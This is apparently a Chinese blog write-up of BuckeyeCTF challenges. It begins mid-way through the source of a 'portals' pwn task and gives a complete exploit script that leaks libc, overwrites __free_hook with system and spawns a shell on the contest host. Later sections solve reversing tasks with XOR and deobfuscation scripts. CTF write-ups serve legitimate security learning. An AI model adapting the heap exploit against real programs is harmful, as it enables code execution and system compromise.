    for(size_t i = 0; i < MAX_PORTALS; i++) {
        TimePoint* pt = now->portals[i];
        if(pt != NULL && pt->year == year) {
            if(pt->msgSize > 0) free(pt->msg);
            free(pt);
            now->portals[i] = NULL;
            printf("Closed the portal!\n");
            return;
        }
    }
    printf("There are no portals to %ld here.\n", year);
}

void takePortal(unsigned long year) {
    for(size_t i = 0; i < MAX_PORTALS; i++) {
        TimePoint* pt = now->portals[i];
        if(pt != NULL && pt->year == year) {
            now = pt;
            printf("*portal noises*\n");
            return;
        }
    }
    printf("There are no portals to %ld here.\n", year);
}

void leaveMessage() {
    if(now->msgSize == 0) {
        printf("How many notecards do you want to use? ");
        char nbuf[8];
        fgets(nbuf, 8, stdin);
        size_t sz = atoi(nbuf) * 16;
        
        now->msgSize = sz;
        now->msg = (char*)malloc(sz);
    }

    printf("What do you want to write?\n");
    fgets(now->msg, now->msgSize, stdin);
    printf("Done!\n");
}

int main() {
    setvbuf(stdout, 0, 2, 0);

    prologue();
    while(1) {
        describe(now);
        printf("What will you do? ");
        char x = getchar();
        getchar(); // newline
        if(x == 'm') {
            leaveMessage();
        } else {
            char yrbuf[6];
            fgets(yrbuf, 6, stdin);
            unsigned long year = atoi(yrbuf);
            if(x == 'o') {
                openPortal(year);
            } else if(x == 'c') {
                closePortal(year);
            } else if(x == 't') {
                takePortal(year);
            }
        }
    }
}

这个漏洞就在建新块时,建新块时先输入year,然后会从root开始查找,找不到时新建块,找到时直接将指针写入。 这样,当新建时输入其它层的year就会把其它块挂在当前块下,用take移动时就会回到前面的层。

这就好办了:

  1. 建2022->1000->2022成环,在1000下建msg大块,释放后放入unsort,再建大块使用这块unsort就会带出main_arena的值,从而得到libc地址。
  2. 同样在1000下建1和2,在1下建65(随意别回车就行,65是A容易看),然后建2再take到2,在2下建65(与1共同指向65)
  3. 回到1将65删除,这时2指向65的指针并没爱影响,再回到2建msg大小与时间块相同,使用这个块,2的msg和下个块相同,可以修改msg来控制下个块的值
  4. 修改2的msg让块65的+30位置的msg指针为__free_hook-8
  5. take到65修改msg(这里是上一步修改的__free_hook-8)在这里写入/bin/sh\0+system
  6. 释放65时会执行system(bin/sh)得到shell
# Usage:
#     Debug : py a.py debug ./portals
#     Remote: py a.py remote pwn.chall.pwnoh.io:13374

from pwncli import *
cli_script()
set_remote_libc('/home/kali/glibc/2.31-0ubuntu9.9-amd64/libc-2.31.so')
context.arch = 'amd64'

p: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def add(year):
    sla("What will you do? ", 'o')
    sl(str(year))

def free(year):
    sla("What will you do? ", 'c')
    sl(str(year))

def take(year):
    sla("What will you do? ", 't')
    sl(str(year))

def leave(msg, msg_len, edit=False):
    sla("What will you do? ", 'm')
    if not edit:
        sla("How many notecards do you want to use? ", str(msg_len//16))
    sla("What do you want to write?\n", msg)

add(1000)
take(1000)
leave(b'A', 0x500)
add(2022)  #并未建2022块,而是将root挂在1000的指针下,可以通过take回到root
take(2022)
add(1100)

free(1000)
add(1000)
take(1000)
leave(b'A', 0x4b0)
ru("Somebody left notes on the ground. They say:\n")
p.recv(8)

lb = u64(p.recv(8)) - (0x70 + libc.sym.__malloc_hook)
assert (lb >> 40) in (0x7f, 0x7e), "wrong libc base!"
set_current_libc_base_and_log(lb)

#1=>65
#2=>65
#2.msg=>65
add(1)
add(2)
take(1)
add(65)

add(2)
take(2)
add(65)

add(1)
take(1)
free(65)

take(2)
leave(flat(65,0,0,0,0,0,0x40,libc.sym.__free_hook-8),0x40)
'''
0x561a44f2f900: 0x0000000000000002      0x0000561a44f2f950
0x561a44f2f910: 0x0000561a44f2f8b0      0x0000000000000000
0x561a44f2f920: 0x0000000000000000      0x0000000000000000
0x561a44f2f930: 0x0000000000000040      0x0000561a44f2f950
'''

add(65)
take(65)
leave(b'/bin/sh\x00'+p64(libc.sym.system),0x10, True)
add(2)
take(2)
free(65)
ia()

#buckeye{p0r741_70_4_p0r741_70_fr33d0m}
if gift.debug:
    gdb.attach(p)
    pause()

rev

Sinep/beginner

入门题异或加密,与v5异或

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v4; // rbx
  _WORD v5[9]; // [rsp+1Ah] [rbp-26h] BYREF
  int i; // [rsp+2Ch] [rbp-14h]

  if ( argc == 2 )
  {
    printf("Your plain text: %s\n", argv[1]);
    puts("Applying Sinep Industry's Certified unbreakable algorithm.");
    strcpy((char *)v5, "sinep");
    *(_QWORD *)&v5[3] = argv[1];
    printf("Final: 0x");
    for ( i = 0; ; ++i )
    {
      v4 = i;
      if ( v4 >= strlen(*(const char **)&v5[3]) )
        break;
      *(_BYTE *)(i + *(_QWORD *)&v5[3]) ^= *((_BYTE *)v5 + i % 5);
      printf("%02x", (unsigned int)*(char *)(i + *(_QWORD *)&v5[3]));
    }
    putchar(10);
    return 0;
  }
  else
  {
    puts("Please enter the text to apply Sinep's patented algorithm.");
    return 1;
  }
}
'''
Sinep industries is advertising a Certified unbreakable encryption algorithm. Seeing as it's proprietary and Certified, I'm confident my data is safe. I'm so confident I'll straight up give you the flag.... ENCRYPTED hahahaha 0x111c0d0e150a0c151743053607502f1e10311544465c5f551e0e
'''
v5 = b"sinep"
from pwn import xor
c = bytes.fromhex('111c0d0e150a0c151743053607502f1e10311544465c5f551e0e')
print(xor(c,v5))
#buckeye{r3v_i5_my_p45510n}

cap/easy

又是一个手搓题,给了一个把所有符号都重定义的c程序

#include <stdlib.h>
#include <stdio.h>

#define cap ???
#define lit ???
#define bussin ???
#define no ???
#define sus ???
#define fr ???
#define legit ???
#define finna ???
#define be ???
#define boutta ???
#define bruh ???
#define deadass ???
#define yikes ???
#define ongod ???
#define clean ???
#define yeet ???
#define mf ???
#define tryna ???
#define tho ???
#define respectfully ???
#define like ???
#define lackin ???
#define poppin ???
#define drip ???
#define rn ???
#define chill ???
#define af ???
#define lowkey ???
#define sheeeesh ???
#define lookin ???
#define downbad ???
#define playin ???
#define wack ???
#define dub ???
#define highkey ???

legit brutus ongod clean mf x af
finna
    clean val lookin cap fr
    poppin ongod lit i lookin cap fr i lowkey 11 fr i playin af
    finna
        val lookin val dub 5 fr
    tho
    mf x lookin val fr fr
    boutta ongod val lowkey 104 af
        val playin fr
    mf ongod x dub bussin af lookin val fr fr
    val lookin val wack 2 fr
    mf ongod x dub 2 af lookin val fr
    mf ongod x dub 3 af lookin val dub 3 fr
    lit two lookin 2 fr
    val lookin val lackin two mf ongod 3 dub two lackin 4 af dub 3 fr
    mf ongod x dub 5 af lookin val fr
    lit six lookin 6 fr
    val lookin val mf two lackin two fr
    mf ongod x dub 6 af lookin val fr fr
    val lookin ongod val lackin six af wack two fr
    mf ongod x dub 7 af lookin val fr
    poppin ongod lit i lookin cap fr i lowkey six; i playin af
        val playin fr
    mf ongod x dub 8 af lookin val fr
tho

legit kinda ongod clean mf y af
finna
    clean val lookin 109 fr
    poppin ongod lit i lookin cap fr i lowkey 9 fr i playin af
    finna
        tryna ongod i be 2 af
            chill fr
        tryna ongod i be 8 af finna
            y yeet ongod bussin dub bussin af lackin ongod 2 wack 2 af mf 2 rn lookin val wack ongod bussin dub bussin af lackin 6;
        tho
        tryna ongod i be 4 af finna
            lit ten lookin 10 fr
            val lookin val dub ongod bussin dub bussin af mf ten lackin ongod bussin lackin cap af fr
            mf y lookin val downbad fr
            lit j lookin 10 fr fr
            y playin fr
            respectfully finna
                val downbad fr
                j downbad fr
            tho boutta ongod j highkey cap af fr
        tho
        tryna ongod i be cap af finna
            mf y lookin val fr
            lit j lookin bussin lackin bussin fr
            boutta ongod j lowkey 7 af finna
                val downbad fr
                j lookin j dub bussin fr
            tho
            y playin fr fr
        tho
        tryna ongod i be 5 like i be 6 af finna
            val lookin val wack 2 fr
            mf y lookin val fr
            y lookin y dub bussin fr
            val lookin val mf 2 fr fr
        tho
        tryna ongod i be 3 af finna
            lit a lookin y yeet lackin bussin rn fr
            val lookin a dub bussin dub bussin dub bussin fr
            mf y lookin val fr
            y playin fr
        tho
        tryna ongod i be 7 af finna
            y playin fr
            poppin ongod lit j lookin 4 fr j highkey cap fr j downbad af finna
                val lookin val dub j wack j fr
            tho
            y yeet cap rn lookin val fr
            y downbad fr
        tho
        tryna ongod i be bussin af finna
            boutta ongod cap af finna
                val lookin val mf ongod bussin dub bussin af fr fr
                sheeeesh ongod "you thought\n" af fr
            tho
            mf y lookin val playin fr
            y lookin y dub 2 fr
        tho
    tho
tho

legit wilin ongod clean mf z bruh lit n af
finna
    tryna ongod no n af
        deadass fr
    lit val lookin mf ongod z lackin bussin af fr fr
    mf z lookin ongod n be 4 af sus val mf 2 lackin 1
        drip ongod n be 2 af sus ongod val dub 5 af wack 2
        drip ongod n be 6 af sus val dub 15
        drip ongod n be bussin af sus val mf 2 dub 8
        drip ongod n be 3 af sus val dub 4
        drip val wack 2 lackin 7 fr
    wilin ongod playin z bruh downbad n af fr fr
tho

lit main ongod af
finna
    clean flag yeet rn lookin "buckeye{__________________________}" fr
    brutus ongod flag dub 8 af fr
    kinda ongod flag dub 18 af fr fr
    wilin ongod flag dub 28 bruh 6 af fr

    sheeeesh ongod "%s\n" bruh flag af fr
    deadass cap fr
tho

c程序很明显的结构,一点点替换恢复,得到

#include <stdlib.h>
#include <stdio.h>

void brutus ( char * x)
{
    char val = 0 ;
    for ( int i = 0 ; i < 11 ; i ++)
    {
        val = val + 5 ;
    }
    * x = val ; ;
    while ( val < 104)
        val ++ ;
    * ( x + 1) = val ; ;
    val = val / 2 ;
    * ( x + 2) = val ;
    * ( x + 3) = val + 3 ;
    int two = 2 ;
    val = val - two * ( 3 + two - 4) + 3 ;
    * ( x + 5) = val ;
    int six = 6 ;
    val = val * two - two ;
    * ( x + 6) = val ; ;
    val = ( val - six) / two ;
    * ( x + 7) = val ;
    for ( int i = 0 ; i < six; i ++)
        val ++ ;
    * ( x + 8) = val ;
}

void kinda ( char * y)
{
    char val = 109 ;
    for ( int i = 0 ; i < 9 ; i ++)
    {
        if ( i == 2)
            continue ;
        if ( i == 8) {
            y [ ( 1 + 1) - ( 2 / 2) * 2] = val / ( 1 + 1) - 6;
        }
        if ( i == 4) {
            int ten = 10 ;
            val = val + ( 1 + 1) * ten - ( 1 - 0) ;
            * y = val-- ; //117
            int j = 10 ; ;
            y ++ ;
            do{
                val-- ;
                j-- ;
            } while ( j > 0) ; //106
        }
        if ( i == 0) {
            * y = val ; //109
            int j = 1 - 1 ;
            while ( j < 7) {
                val-- ;
                j = j + 1 ;
            }  //102
            y ++ ; ;
        }
        if ( i == 5 ||i == 6) {
            val = val / 2 ;
            * y = val ;
            y = y + 1 ;
            val = val * 2 ; ;
        }
        if ( i == 3) {
            int a = y [ - 1] ;
            val = a + 1 + 1 + 1 ;
            * y = val ; //98
            y ++ ;
        }
        if ( i == 7) {
            y ++ ;
            for ( int j = 4 ; j > 0 ; j--) {
                val = val + j / j ;
            }
            y [ 0] = val ;
            y-- ;
        }
        if ( i == 1) {
            while ( 0) {
                val = val * ( 1 + 1) ; ;
                printf ( "you }ught\n") ;
            }
            * y = val ++ ; //102 103
            y = y + 2 ;
        }
    }
}

void wilin ( char * z , int n)
{
    if (! n)
        return ;
    int val = * ( z - 1) ; ;
    * z = ( n == 4) ? val * 2 - 1
        : ( n == 2) ? ( val + 5) / 2
        : ( n == 6) ? val + 15
        : ( n == 1) ? val * 2 + 8
        : ( n == 3) ? val + 4
        : val / 2 - 7 ;
    wilin ( ++ z ,-- n) ; ;
}

int main ()
{
    char flag [] = "buckeye{__________________________}" ;
    brutus ( flag + 8) ;
    kinda ( flag + 18) ; ;
    wilin ( flag + 28 , 6) ;

    printf ( "%s\n" , flag) ;
    return 0 ;
}

#buckeye{7h47_5h17_mf_bu551n_n0_c4p}

这东西是可以运行的,直接gcc再运行即可。 

angry/easy

后边的题估计人们都懒得作了,其实这题非常简单

__int64 __fastcall sub_1259(const char *a1, unsigned __int8 a2)
{
  __int64 result; // rax
  int i; // [rsp+14h] [rbp-Ch]
  size_t v5; // [rsp+18h] [rbp-8h]

  v5 = strlen(a1);
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( v5 <= i )
      break;
    a1[i] = sub_1209(a1[i], a2);
    a2 = a1[i];
  }
  return result;
}
__int64 __fastcall sub_1209(unsigned __int8 a1, unsigned __int8 a2)
{
  return (a1 << (a2 % 8u)) | (unsigned int)((int)a1 >> (8 - a2 % 8u));
}

带一个序号进去然后进行移位,移多少看上一个加密好的字符,因为密文是现成的,解密更方便

s2 = bytes.fromhex('2A89EA8D6DAC97B2ED6E1D24C61BFA89661D8ECC27AF3AA1686ED7B9E87299E497BE')
print(bytes([((s2[i]>>(s2[i-1]%8)) | ( s2[i]<<(8-s2[i-1]%8) ))&0xff for i in range(1,len(s2))]))
#buckeye{st!ll_b3tt3r_th4n_strfry}

intel does what amd'ont/medium

最后这一个确实很麻烦,一开始是ida根本反编译不了,打开看是用jmp连在一起的小断

先是把7个整数(密文)放入栈

.text:00000000000015B5                               ; ---------------------------------------------------------------------------
.text:00000000000015B5                               ; START OF FUNCTION CHUNK FOR main
.text:00000000000015B5
.text:00000000000015B5                               loc_15B5:                               ; CODE XREF: main-ECCE↑j
.text:00000000000015B5 9D                            popfq
.text:00000000000015B6 C7 45 B0 F9 6E EE 35          mov     dword ptr [rbp-50h], 35EE6EF9h
.text:00000000000015BD 9C                            pushfq
.text:00000000000015BE 66 83 3D 4E 1A 01 00 01       cmp     cs:word_13014, 1
.text:00000000000015C6 74 36                         jz      short loc_15FE
.text:00000000000015C6
.text:00000000000015C6                               ; END OF FUNCTION CHUNK FOR main
.text:00000000000015C6                               ; ---------------------------------------------------------------------------
.text:00000000000015C8 62 F5 7C 48 5A EB 62 F5 7C 08+dq 0F562EB5A487CF562h, 87CF562F82F087Ch, 0E55A487CF562E12Fh, 0F562D358487CF562h, 487CF562F551487Ch, 0FD51487CF562FE51h
.text:00000000000015F8 62 F5 7C 48 5A F6             db 62h, 0F5h, 7Ch, 48h, 5Ah, 0F6h
.text:00000000000015FE                               ; ---------------------------------------------------------------------------
.text:00000000000015FE                               ; START OF FUNCTION CHUNK FOR main
.text:00000000000015FE
.text:00000000000015FE                               loc_15FE:                               ; CODE XREF: main-EC79↑j
.text:00000000000015FE 9D                            popfq
.text:00000000000015FF C7 45 B4 70 BB C9 83          mov     dword ptr [rbp-4Ch], 83C9BB70h
.text:0000000000001606 9C                            pushfq
.text:0000000000001607 66 83 3D 05 1A 01 00 01       cmp     cs:word_13014, 1
.text:000000000000160F 74 30                         jz      short loc_1641

然后把输入运行一些运算

.text:0000000000001BC7                               ; ---------------------------------------------------------------------------
.text:0000000000001BC7                               ; START OF FUNCTION CHUNK FOR main
.text:0000000000001BC7
.text:0000000000001BC7                               loc_1BC7:                               ; CODE XREF: main-E6B6↑j
.text:0000000000001BC7 9D                            popfq
.text:0000000000001BC8 48 8D 45 D0                   lea     rax, [rbp-30h]
.text:0000000000001BCC 9C                            pushfq
.text:0000000000001BCD 66 83 3D 3F 14 01 00 01       cmp     cs:word_13014, 1
.text:0000000000001BD5 74 36                         jz      short loc_1C0D
.text:0000000000001BD5
.text:0000000000001BD5                               ; END OF FUNCTION CHUNK FOR main
.text:0000000000001BD5                               ; ---------------------------------------------------------------------------
.text:0000000000001BD7 62                            db 62h
.text:0000000000001BD8 F5 7C 48 51 E5 62 F6 4D 48 9A+dq 4DF662E551487CF5h, 5A487CF562E49A48h, 62C49A4845F662D3h, 7CF562D958484CF5h, 51487CF562D62F08h, 62F62F087CF562E3h
.text:0000000000001C08 F5 7C 08 2F CD                db 0F5h, 7Ch, 8, 2Fh, 0CDh
.text:0000000000001C0D                               ; ---------------------------------------------------------------------------
.text:0000000000001C0D                               ; START OF FUNCTION CHUNK FOR main
.text:0000000000001C0D
.text:0000000000001C0D                               loc_1C0D:                               ; CODE XREF: main-E66A↑j
.text:0000000000001C0D 9D                            popfq
.text:0000000000001C0E 48 89 C6                      mov     rsi, rax
.text:0000000000001C11 9C                            pushfq
.text:0000000000001C12 66 83 3D FA 13 01 00 01       cmp     cs:word_13014, 1
.text:0000000000001C1A 74 24                         jz      short loc_1C40
.text:0000000000001C1A
.text:0000000000001C1A                               ; END OF FUNCTION CHUNK FOR main
.text:0000000000001C1A                               ; ---------------------------------------------------------------------------

这些运行包括高低换位,加减循环移位和异或。有100从,手搓是不大可能了。

先用程序进行第1次过滤,由于每个运算指令后都有pushfq,用他作标记先把有用的命令取出来

lines = open('intel.data.txt').read().split('\n')

pylist = []
for i in range(1170,12788):
    v = lines[i][53:].strip()
    if v == 'pushfq':
        pylist.append(lines[i-1][53:].strip())

#open('v1.txt','w').write('\n'.join(pylist))

得到这样一堆指令

mov     eax, [rbp-30h]
shr     eax, 18h
mov     edx, eax
mov     eax, [rbp-30h]
shr     eax, 8
and     eax, 0FF00h
or      edx, eax
mov     eax, [rbp-30h]
shl     eax, 8
and     eax, 0FF0000h
or      edx, eax
mov     eax, [rbp-30h]
shl     eax, 18h
or      eax, edx
mov     [rbp-30h], eax
mov     eax, [rbp-2Ch]
add     eax, 1CC9FC4Ch
mov     [rbp-2Ch], eax
...

然后将这些指令进行翻译,再逆向后输出到文件

i=0
cmd = []
while i<len(pylist):
    print(i)
    v = pylist[i]
    if v.startswith('mov     eax, [rbp-'):
        p = pylist[i+1].strip()
        m = p[13:].replace('h','')
        id = (0x30 - int(v[18:20], 16))//4
        if p.startswith('shr     eax, 18h'):
            cmd.append(f"v[{id}] = swip(v[{id}])")
            i+=14
        elif p.startswith('add     eax, '):
            t = int(m,16)
            cmd.append(f"v[{id}] = add(v[{id}], {t})")
            i+=2
        elif p.startswith('sub     eax, '):
            t = int(m,16)
            cmd.append(f"v[{id}] = sub(v[{id}], {t})")
            i+=2
        elif p.startswith('xor     eax, '):
            t = int(m,16)
            cmd.append(f"v[{id}] = xor(v[{id}], {t})")
            i+=2
        elif p.startswith('ror     eax, '):
            t = int(m,16)
            cmd.append(f"v[{id}] = ror(v[{id}], {t})")
            i+=2
        elif p.startswith('rol     eax, '):
            t = int(m,16)
            cmd.append(f"v[{id}] = rol(v[{id}], {t})")
            i+=2
    else:
        i += 1

open('v2.txt','w').write('\n'.join(cmd[::-1]))

给文件加上相关函数(加用减,减用加...)运行即可。

from pwn import p32,u32

def add(a,b):
    return (a-b)&0xffffffff
def sub(a,b):
    return (a+b)&0xffffffff
def xor(a,b):
    return a^b 
def swip(a):
    return u32(p32(a)[::-1])
def ror(a,b):
    return ((a<<b)|(a>>(32-b)))&0xffffffff
def rol(a,b):
    return ((a>>b)|(a<<(32-b)))&0xffffffff

v =[0x35EE6EF9,0x83C9BB70,0xC236FB78,0xBB28CA8A,0xF0DCD4EA,0x4DC345C6,0x268D76E2]

v[6] = add(v[6], 332613700)
v[5] = ror(v[5], 14)
v[4] = xor(v[4], 3086252886)
v[3] = sub(v[3], 438190313)
v[2] = swip(v[2])
v[1] = ror(v[1], 3)
v[0] = xor(v[0], 3238526463)
v[6] = xor(v[6], 517183144)
v[4] = xor(v[4], 3753260064)
v[3] = xor(v[3], 31283903)
v[2] = xor(v[2], 2623552114)
v[1] = swip(v[1])
v[0] = ror(v[0], 15)
v[6] = ror(v[6], 4)
v[5] = swip(v[5])
v[4] = swip(v[4])
v[3] = xor(v[3], 4258995399)
v[2] = add(v[2], 1020925269)
v[1] = sub(v[1], 694937852)
v[0] = rol(v[0], 3)
v[6] = xor(v[6], 3642518446)
v[5] = swip(v[5])
v[4] = swip(v[4])
v[3] = xor(v[3], 3732080768)
v[2] = xor(v[2], 2270319381)
v[1] = ror(v[1], 7)
v[0] = add(v[0], 514474892)
v[6] = add(v[6], 1880740504)
v[5] = rol(v[5], 6)
v[4] = add(v[4], 815672421)
v[3] = sub(v[3], 929498820)
v[2] = sub(v[2], 1344536818)
v[1] = swip(v[1])
v[0] = swip(v[0])
v[6] = ror(v[6], 13)
v[5] = xor(v[5], 2148228364)
v[4] = add(v[4], 1817177997)
v[3] = ror(v[3], 8)
v[2] = add(v[2], 1389864397)
v[1] = xor(v[1], 4269111830)
v[0] = add(v[0], 30493676)
v[6] = xor(v[6], 2852226774)
v[5] = swip(v[5])
v[4] = swip(v[4])
v[3] = swip(v[3])
v[2] = sub(v[2], 1966658005)
v[1] = add(v[1], 1621288458)
v[0] = rol(v[0], 10)
v[6] = swip(v[6])
v[5] = swip(v[5])
v[4] = xor(v[4], 3158206384)
v[3] = xor(v[3], 1868488658)
v[2] = xor(v[2], 3721132651)
v[1] = sub(v[1], 1133679972)
v[0] = swip(v[0])
v[6] = swip(v[6])
v[5] = xor(v[5], 1614163685)
v[4] = xor(v[4], 758449049)
v[3] = ror(v[3], 15)
v[2] = xor(v[2], 945369975)
v[1] = xor(v[1], 2806543816)
v[0] = rol(v[0], 15)
v[6] = swip(v[6])
v[5] = ror(v[5], 2)
v[4] = sub(v[4], 1793802209)
v[3] = rol(v[3], 2)
v[2] = swip(v[2])
v[1] = ror(v[1], 4)
v[0] = swip(v[0])
v[6] = xor(v[6], 2242035385)
v[5] = sub(v[5], 433431797)
v[4] = sub(v[4], 872597139)
v[3] = swip(v[3])
v[2] = swip(v[2])
v[1] = swip(v[1])
v[0] = add(v[0], 410326135)
v[6] = xor(v[6], 363233715)
v[5] = sub(v[5], 1167010259)
v[4] = xor(v[4], 608233576)
v[3] = swip(v[3])
v[2] = rol(v[2], 15)
v[1] = xor(v[1], 2769815741)
v[0] = sub(v[0], 571405420)
v[6] = ror(v[6], 13)
v[5] = swip(v[5])
v[4] = swip(v[4])
v[3] = xor(v[3], 3809746373)
v[2] = rol(v[2], 16)
v[1] = ror(v[1], 4)
v[0] = ror(v[0], 12)
v[6] = xor(v[6], 909827048)
v[5] = xor(v[5], 585722024)
v[4] = add(v[4], 997483556)
v[3] = swip(v[3])
v[2] = sub(v[2], 2120744911)
v[1] = sub(v[1], 1018482331)
v[0] = swip(v[0])
v[6] = xor(v[6], 4166565375)
v[5] = add(v[5], 1677653768)
v[4] = swip(v[4])
v[3] = xor(v[3], 3525987775)
v[2] = swip(v[2])
v[1] = swip(v[1])
v[0] = swip(v[0])
v[6] = swip(v[6])
v[5] = sub(v[5], 1377172528)
v[4] = ror(v[4], 15)
v[3] = swip(v[3])
v[2] = swip(v[2])
v[1] = add(v[1], 482999372)
v[0] = swip(v[0])

print(b''.join([p32(i) for i in v]))
#buckeye{w0rk5_0n_my_m4ch1n3}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值